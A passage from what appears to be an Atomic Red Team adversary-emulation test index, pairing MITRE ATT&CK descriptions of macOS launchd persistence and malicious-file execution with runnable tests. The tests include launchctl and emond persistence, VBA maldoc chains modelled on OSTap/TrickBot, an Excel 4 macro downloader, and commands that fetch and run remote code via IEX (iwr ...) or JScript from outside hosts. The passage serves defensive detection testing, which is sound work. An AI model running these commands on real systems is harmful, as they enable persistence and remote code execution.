          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
        source_name: Sofacy Komplex Trojan
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Launchctl
      description: |-
        Adversaries may abuse launchctl to execute commands or programs. Launchctl controls the macOS launchd process, which handles things like [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)

        By loading or reloading [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, adversaries can install persistence or execute changes they made.(Citation: Sofacy Komplex Trojan)

        Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> -- /Path/to/thing/to/execute "arg" "arg" "arg"</code>. Adversaries can abuse this functionality to execute code or even bypass application control if launchctl is an allowed process.
      id: attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-06-08T23:28:29.079Z'
      created: '2020-03-10T18:26:56.187Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - root
      x_mitre_detection: KnockKnock can be used to detect persistent programs such
        as those installed via launchctl as launch agents or launch daemons. Additionally,
        every launch agent or launch daemon must have a corresponding plist file on
        disk which can be monitored. Monitor process execution from launchctl/launchd
        for unusual or unknown processes.
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Service: Service Creation'
      - 'File: File Modification'
      x_mitre_platforms:
      - macOS
      identifier: T1569.001
    atomic_tests:
    - name: Launchctl
      auto_generated_guid: 6fb61988-724e-4755-a595-07743749d4e2
      description: 'Utilize launchctl

'
      supported_platforms:
      - macos
      input_arguments:
        executable_path:
          description: Path of the executable to run.
          type: Path
          default: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
        label_name:
          description: Path of the executable to run.
          type: String
          default: evil
      executor:
        command: 'launchctl submit -l #{label_name} -- #{executable_path}

'
        cleanup_command: 'launchctl remove #{label_name}

'
        name: bash
  T1053.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1053.004
        url: https://attack.mitre.org/techniques/T1053/004
      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
          July 10, 2017.
        source_name: AppleDocs Launch Agent Daemons
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        source_name: Methods of Mac Malware Persistence
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Launchd
      description: |-
        Adversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).

        An adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. <code>launchd</code> can also be abused to run a process under the context of a specified account. Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.
      id: attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-23T22:41:14.739Z'
      created: '2019-12-03T14:15:27.452Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_remote_support: false
      x_mitre_permissions_required:
      - root
      x_mitre_detection: "Monitor scheduled task creation from common utilities using
        command-line invocation. Legitimate scheduled tasks may be created during
        installation of new software or through system administration functions. Look
        for changes to tasks that do not correlate with known software, patch cycles,
        etc. \n\nSuspicious program execution through scheduled tasks may show up
        as outlier processes that have not been seen before when compared against
        historical data. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as network
        connections made for Command and Control, learning details about the environment
        through Discovery, and Lateral Movement."
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_platforms:
      - macOS
      identifier: T1053.004
    atomic_tests:
    - name: Event Monitor Daemon Persistence
      auto_generated_guid: 11979f23-9b9d-482a-9935-6fc9cd022c3e
      description: "This test adds persistence via a plist to execute via the macOS
        Event Monitor Daemon. \n"
      supported_platforms:
      - macos
      input_arguments:
        script_location:
          description: evil plist location
          type: Path
          default: "$PathToAtomicsFolder/T1053.004/src/atomicredteam_T1053_004.plist"
        script_destination:
          description: Path where to move the evil plist
          type: Path
          default: "/etc/emond.d/rules/atomicredteam_T1053_004.plist"
        empty_file:
          description: Random name of the empty file used to trigger emond service
          type: String
          default: randomflag
      executor:
        name: bash
        elevation_required: true
        command: |
          sudo cp #{script_location} #{script_destination}
          sudo touch /private/var/db/emondClients/#{empty_file}
        cleanup_command: |
          sudo rm #{script_destination}
          sudo rm /private/var/db/emondClients/#{empty_file}
  T1204.002:
    technique:
      created: '2020-03-11T14:49:36.954Z'
      modified: '2020-03-11T14:55:56.177Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      type: attack-pattern
      id: attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e
      description: |-
        An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.

        Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it.

        While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).
      name: Malicious File
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1204.002
        url: https://attack.mitre.org/techniques/T1204/002
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Creation'
      x_mitre_detection: |-
        Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.

        Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1204.002
    atomic_tests:
    - name: OSTap Style Macro Execution
      auto_generated_guid: 8bebc690-18c7-4549-bc98-210f7019efff
      description: |
        This Test uses a VBA macro to create and execute #{jse_path} with cscript.exe. Upon execution, the .jse file launches wscript.exe.
        Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
        This is a known execution chain observed by the OSTap downloader commonly used in TrickBot campaigns.
        References:
          https://www.computerweekly.com/news/252470091/TrickBot-Trojan-switches-to-stealthy-Ostap-downloader
      supported_platforms:
      - windows
      input_arguments:
        jse_path:
          description: 'Path for the macro to write out the "malicious" .jse file

'
          type: String
          default: C:\Users\Public\art.jse
        ms_product:
          description: Maldoc application Word or Excel
          type: String
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

'
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

'
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          $macrocode = "   Open `"#{jse_path}`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   Shell`$ `"cscript.exe #{jse_path}`"`n"
          Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
        cleanup_command: 'Remove-Item #{jse_path} -ErrorAction Ignore

'
        name: powershell
    - name: OSTap Payload Download
      auto_generated_guid: 3f3af983-118a-4fa1-85d3-ba4daa739d80
      description: 'Uses cscript //E:jscript to download a file

'
      supported_platforms:
      - windows
      input_arguments:
        script_file:
          description: File to execute jscript code from
          type: Path
          default: "%TEMP%\\OSTapGet.js"
        file_url:
          description: URL to retrieve file from
          type: Url
          default: https://128.30.52.100/TR/PNG/iso_8859-1.txt
      executor:
        command: |
          echo var url = "#{file_url}", fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject('MSXML2.ServerXMLHTTP'); request.open('GET', url, false); request.send(); if (request.status === 200) {stream = WScript.CreateObject('ADODB.Stream'); stream.Open(); stream.Type = 1; stream.Write(request.responseBody); stream.Position = 0; stream.SaveToFile(filename, 1); stream.Close();} else {WScript.Quit(1);}WScript.Quit(0); > #{script_file}
          cscript //E:Jscript #{script_file}
        cleanup_command: 'del #{script_file} /F /Q >nul 2>&1

'
        name: command_prompt
    - name: Maldoc choice flags command execution
      auto_generated_guid: 0330a5d2-a45a-4272-a9ee-e364411c4b18
      description: |
        This Test uses a VBA macro to execute cmd with flags observed in recent maldoc and 2nd stage downloaders. Upon execution, CMD will be launched.
        Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
      supported_platforms:
      - windows
      input_arguments:
        ms_product:
          description: Maldoc application Word or Excel
          type: String
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

'
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

'
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          $macrocode = "  a = Shell(`"cmd.exe /c choice /C Y /N /D Y /T 3`", vbNormalFocus)"
          Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
        name: powershell
    - name: OSTAP JS version
      auto_generated_guid: add560ef-20d6-4011-a937-2c340f930911
      description: |
        Malicious JavaScript executing CMD which spawns wscript.exe //e:jscript
        Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
      supported_platforms:
      - windows
      input_arguments:
        jse_path:
          description: jse file to execute with wscript
          type: Path
          default: C:\Users\Public\art.jse
        ms_product:
          description: Maldoc application Word or Excel
          type: String
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

'
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

'
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          $macrocode = "   Open `"#{jse_path}`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   a = Shell(`"cmd.exe /c wscript.exe //E:jscript #{jse_path}`", vbNormalFocus)`n"
          Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
        name: powershell
    - name: Office launching .bat file from AppData
      auto_generated_guid: 9215ea92-1ded-41b7-9cd6-79f9a78397aa
      description: Microsoft Office creating then launching a .bat script from an
        AppData directory. The .bat file launches calc.exe when opened.
      supported_platforms:
      - windows
      input_arguments:
        bat_path:
          description: Path to malicious .bat file
          type: String
          default: $("$env:temp\art1204.bat")
        ms_product:
          description: Maldoc application Word or Excel
          type: String
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

'
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

'
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          $macrocode = "   Open `"#{bat_path}`" For Output As #1`n   Write #1, `"calc.exe`"`n   Close #1`n   a = Shell(`"cmd.exe /c $bat_path `", vbNormalFocus)`n"
          Invoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}
        name: powershell
    - name: Excel 4 Macro
      auto_generated_guid: 4ea1fc97-8a46-4b4e-ba48-af43d2a98052
      description: |
        This module creates an Excel 4 Macro (XLM) enabled spreadsheet and executes it. The XLM will first write a "malicious"
        VBS file to %TEMP%, then execute this file. The VBS will download Process Explorer to the same directory (%TEMP%) and exec.

        A note regarding this module. By default, this module will pull the current username from the system and places it into the macro. If
        you'd like to utilize the "=GET.WORKSPACE(26)" method, that many maldoc authors use, you will need to ensure that the User Name associated
        with Excel matches that of the local system. This username can be found under Files -> Options -> Username
      supported_platforms:
      - windows
      input_arguments:
        download_url:
          description: Download URL
          type: String
          default: https://live.sysinternals.com/procexp.exe
        uname:
          description: Username for pathing
          type: String
          default: "$env:Username"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft Excel must be installed

'
        prereq_command: |
          try {
            New-Object -COMObject "Excel.Application" | Out-Null
            Stop-Process -Name "Excel"
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Excel
          manually to meet this requirement"

'
      executor:
        command: |
          $fname = "$env:TEMP\atomic_redteam_x4m_exec.vbs"
          $fname1 = "$env:TEMP\procexp.exe"
          if (Test-Path $fname) {
            Remove-Item $fname
            Remove-Item $fname1
          }

          $xlApp = New-Object -COMObject "Excel.Application"
          $xlApp.Visible = $True
          $xlApp.DisplayAlerts = $False
          $xlBook = $xlApp.Workbooks.Add()
          $sheet = $xlBook.Excel4MacroSheets.Add()

          if ("#{uname}" -ne "") {
            $sheet.Cells.Item(1,1) = "#{uname}"
          } else {
            $sheet.Cells.Item(1,1) = "=GET.WORKSPACE(26)"
          }

          $sheet.Cells.Item(2,1) = "procexp.exe"
          $sheet.Cells.Item(3,1) = "atomic_redteam_x4m_exec.vbs"
          $sheet.Cells.Item(4,1) = "=IF(ISNUMBER(SEARCH(`"64`",GET.WORKSPACE(1))), GOTO(A5),)"
          $sheet.Cells.Item(5,1) = "=FOPEN(`"C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A3&`"`", 3)"
          $sheet.Cells.Item(6,1) = "=FWRITELN(A5, `"url = `"`"#{download_url}`"`"`")"
          $sheet.Cells.Item(7,1) = "=FWRITELN(A5, `"`")"
          $sheet.Cells.Item(8,1) = "=FWRITELN(A5, `"Set winHttp = CreateObject(`"`"WinHTTP.WinHTTPrequest.5.1`"`")`")"
          $sheet.Cells.Item(9,1) = "=FWRITELN(A5, `"winHttp.Open `"`"GET`"`", url, False`")"
          $sheet.Cells.Item(10,1) = "=FWRITELN(A5, `"winHttp.Send`")"
          $sheet.Cells.Item(11,1) = "=FWRITELN(A5, `"If winHttp.Status = 200 Then`")"
          $sheet.Cells.Item(12,1) = "=FWRITELN(A5, `"Set oStream = CreateObject(`"`"ADODB.Stream`"`")`")"
          $sheet.Cells.Item(13,1) = "=FWRITELN(A5, `"oStream.Open`")"
          $sheet.Cells.Item(14,1) = "=FWRITELN(A5, `"oStream.Type = 1`")"
          $sheet.Cells.Item(15,1) = "=FWRITELN(A5, `"oStream.Write winHttp.responseBody`")"
          $sheet.Cells.Item(16,1) = "=FWRITELN(A5, `"oStream.SaveToFile `"`"C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A2&`"`"`", 2`")"
          $sheet.Cells.Item(17,1) = "=FWRITELN(A5, `"oStream.Close`")"
          $sheet.Cells.Item(18,1) = "=FWRITELN(A5, `"End If`")"
          $sheet.Cells.Item(19,1) = "=FCLOSE(A5)"
          $sheet.Cells.Item(20,1) = "=EXEC(`"explorer.exe C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A3&`"`")"
          $sheet.Cells.Item(21,1) = "=WAIT(NOW()+`"00:00:05`")"
          $sheet.Cells.Item(22,1) = "=EXEC(`"explorer.exe C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A2&`"`")"
          $sheet.Cells.Item(23,1) = "=HALT()"
          $sheet.Cells.Item(1,1).Name = "runme"
          $xlApp.Run("runme")
          $xlApp.Quit()

          [System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlBook) | Out-Null
          [System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlApp) | Out-Null
          [System.GC]::Collect()
          [System.GC]::WaitForPendingFinalizers()

          Remove-Variable xlBook
          Remove-Variable xlApp
        cleanup_command: |
          Stop-Process -Name "procexp*" -ErrorAction Ignore
          Remove-Item "$env:TEMP\atomic_redteam_x4m_exec.vbs" -ErrorAction Ignore
          Remove-Item "$env:TEMP\procexp.exe" -ErrorAction Ignore
        name: powershell
    - name: Headless Chrome code execution via VBA
      auto_generated_guid: a19ee671-ed98-4e9d-b19c-d1954a51585a
      description: |
        This module uses Google Chrome combined with ScriptControl to achieve code execution. It spawns a local
        webserver hosting our malicious payload. Headless Google Chrome will then reach out to this webserver
        and pull down the script and execute it. By default the payload will execute calc.exe on the system.
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft Word must be installed

'
        prereq_command: |
          try {
            $wdApp = New-Object -COMObject "Word.Application"
            Stop-Process -Name "winword"
            exit 0 } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually
          to meet this requirement"

'
      - description: 'Google Chrome must be installed

'
        prereq_command: |
          try {
            $chromeInstalled = (Get-Item (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe').'(Default)').VersionInfo.FileName
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Google Chrome manually
          to meet this requirement"

'
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1204.002\src\chromeexec-macrocode.txt" -officeProduct "Word" -sub "ExecChrome"
        name: powershell
        cleanup_command: 'Stop-Process -name mshta

'
    - name: Potentially Unwanted Applications (PUA)
      auto_generated_guid: 02f35d62-9fdc-4a97-b899-a5d9a876d295
      description: 'The Potentially Unwanted Applications (PUA) protection feature
        in antivirus software can identify and block PUAs from downloading and installing
        on endpoints in your network. These applications are not considered viruses,
        malware, or other types of threats, but might perform actions on endpoints
        that adversely affect their performance or use. This file is similar to EICAR
        test virus file, but is considered a Potentially Unwanted Application (PUA)
        instead of a VIRUS (i.e. not actually malicious, but is flagged as it to verify
        anti-pua protection).

'
      supported_platforms:
      - windows
      input_arguments:
        pua_url:
          description: url to PotentiallyUnwanted.exe
          type: Url
          default: http://amtso.eicar.org/PotentiallyUnwanted.exe
        pua_file:
          description: path to PotentiallyUnwanted.exe
          type: Path
          default: "$env:TEMP/PotentiallyUnwanted.exe"
      executor:
        name: powershell
        elevation_required: false
        command: |
          Invoke-WebRequest #{pua_url} -OutFile #{pua_file}
          & "#{pua_file}"
        cleanup_command: |
          Stop-Process -name PotentiallyUnwanted
          Remove-Item #{pua_file} -ErrorAction Ignore
    - name: Office Generic Payload Download
      auto_generated_guid: 5202ee05-c420-4148-bf5e-fd7f7d24850c
      description: |
        This Test uses a VBA macro to launch Powershell which will download a file from a user defined web server.
        Required input agruments are c2_domain and file_name
        Execution is handled by [Invoke-MalDoc](https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
        Example for c2 server located at 127.0.0.1 for the file test.txt which is nested below the parent directory in the tests/my-test folder
        Example input args for file in root directory c2-domain = 127.0.0.1, file-name = test.txt
      supported_platforms:
      - windows
      input_arguments:
        macro_path:
          description: 'Location of file which will be converted to a VBA macro

'
          type: Path
          default: PathToAtomicsFolder/T1204.002/src/test9-GenericPayloadDownload.txt
        c2_domain:
          description: 'This required variable points to a user defined HTTP server
            that will host the file_name in the c2_parent_directory.

'
          type: Url
          default: 
        c2_parent_directory:
          description: |
            Parent directory where you have the "malicious" file on c2_domain server.
            Will default to root directory. Forward slashes are not needed at begining or ending of directory path
          type: Path
          default: ''
        file_name:
          description: |
            "Malicious" file to be downloaded.
            This required file needs to be place on the user provided c2 domain
            Example file can be found at PathToAtomicsFolder/T1204.002/src/test9-example-payload.txt
          type: String
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/test9-example-payload.txt
        ms_product:
          description: 'Maldoc application Word or Excel

'
          type: String
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Destination c2_domain name or IP address must be set to a running
          HTTP server.

'
        prereq_command: 'if (#{c2_domain}) (exit 0) else (exit 1)

'
        get_prereq_command: 'Write-Host "Destination c2 server domain name or IP address
          must be set and reachable for HTTP service"

'
      - description: 'Microsoftt #{ms_product} must be installed

'
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

'
      executor:
        name: powershell
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          $macroCode = Get-Content "#{macro_path}" -Raw
          $URL = "#{c2_domain}" + "/" + "#{c2_parent_directory}"
          $macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', "#{file_name}"
          Invoke-MalDoc -macroCode $macroCode -officeProduct "#{ms_product}"
        cleanup_command: 'Remove-Item "C:\Users\$env:username\Desktop\#{file_name}"
          -ErrorAction Ignore

'
  T1204.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1204.003
        url: https://attack.mitre.org/techniques/T1204/003
      - source_name: Summit Route Malicious AMIs
        url: https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/
        description: Piper, S.. (2018, September 24). Investigating Malicious AMIs.
          Retrieved March 30, 2021.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Malicious Image
      description: |-
        Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)

        Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).
      id: attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2021-04-12T17:54:08.797Z'
      created: '2021-03-30T17:20:05.789Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Monitor the local image registry to make sure malicious images
        are not added. Track the deployment of new containers, especially from newly
        built images. Monitor the behavior of containers within the environment to
        detect anomalous behavior or malicious activity after users deploy from malicious
        images.
      x_mitre_contributors:
      - Center for Threat-Informed Defense (CTID)
      - Vishwas Manral, McAfee
      x_mitre_platforms:
      - IaaS
      - Containers
      x_mitre_data_sources:
      - 'Container: Container Creation'
      - 'Container: Container Start'
      - 'Command: Command Execution'
      - 'Image: Image Creation'
      - 'Instance: Instance Creation'
      - 'Instance: Instance Start'
      - 'Application Log: Application Log Content'
    atomic_tests: []
  T1204.001:
    technique:
      created: '2020-03-11T14:43:31.706Z'
      modified: '2020-03-11T14:43:31.706Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      type: attack-pattern
      id: attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9
      description: An adversary may rely upon a user clicking a malicious link in
        order to gain execution. Users may be subjected to social engineering to get
        them to click on a link that will lead to code execution. This user action
        will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002).
        Clicking on a link may also lead to other execution techniques such as exploitation
        of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).
        Links may also lead users to download files that require execution via [Malicious
        File](https://attack.mitre.org/techniques/T1204/002).
      name: Malicious Link
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1204.001
        url: https://attack.mitre.org/techniques/T1204/001
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Creation'
      x_mitre_detection: |-
        Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization.

        Anti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1106:
    technique:
      id: attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Native API
      description: |-
        Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.

        Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)

        Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)

        Adversaries may abuse these native API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces, provide mechanisms to interact with and utilize various components of a victimized system.
      external_references:
      - source_name: mitre-attack
        external_id: T1106
        url: https://attack.mitre.org/techniques/T1106
